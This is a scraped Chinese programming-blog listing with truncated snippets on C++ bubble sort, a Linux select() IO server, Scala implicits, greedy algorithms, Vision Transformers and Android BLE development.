整理思维导图周五剩下的三个笔试题利用函数重载&#xff0c;实现对整形数组的冒泡排序&#xff0c;对浮点型数组的冒泡排序整理课上内容在堆区申请一个数组的空间&#xff0c;并完成对该数组中数据的输入和输出&#xff0c;程序结束释放堆区空间 冒泡排序效果图&#xff1a; 代…...

linux网络编程 | c | select实现多路IO转接服务器

select实现多路IO转接服务器 基于该视频完成 15-select实现多路IO转接设计思路_哔哩哔哩_bilibili 通过响应式–多路IO转接实现 文章目录 select实现多路IO转接服务器1.思路&功能2.代码实现warp.hwarp.cmulti_select_sever.c运行图 3.代码解释&#xff08;细节&#xf…...

在Scala中对隐式转换格式与作用

隐式对象 格式&#xff1a;implicit object 作用&#xff1a;给函数的默认参数提供隐式值 object Scala12______10 { // case class DataBase(driver: String, url: String) // // implicit object mySql extends DataBase("mysql", "localhost:300") //…...

贪心算法 - 学习笔记 【C++】

2024-12-09 - 第 38 篇 贪心算法 - 学习笔记 作者(Author): 郑龙浩 / 仟濹(CSND账号名) 贪心算法 学习课程&#xff1a; https://www.bilibili.com/video/BV1f84y1i7mv/?spm_id_from333.337.search-card.all.click&vd_source2683707f584c21c57616cc6ce8454e2b 一、基本…...

【深度学习】深刻理解ViT

ViT&#xff08;Vision Transformer&#xff09;是谷歌研究团队于2020年提出的一种新型图像识别模型&#xff0c;首次将Transformer架构成功应用于计算机视觉任务中。Transformer最初应用于自然语言处理&#xff08;如BERT和GPT&#xff09;&#xff0c;而ViT展示了其在视觉任务…...

安卓低功耗蓝牙BLE官方开发例程(JAVA)翻译注释版

官方原文链接 https://developer.android.com/develop/connectivity/bluetooth/ble/ble-overview?hlzh-cn 目录 低功耗蓝牙 基础知识 关键术语和概念 角色和职责 查找 BLE 设备 连接到 GATT 服务器 设置绑定服务 设置 BluetoothAdapter 连接到设备 声明 GATT 回…...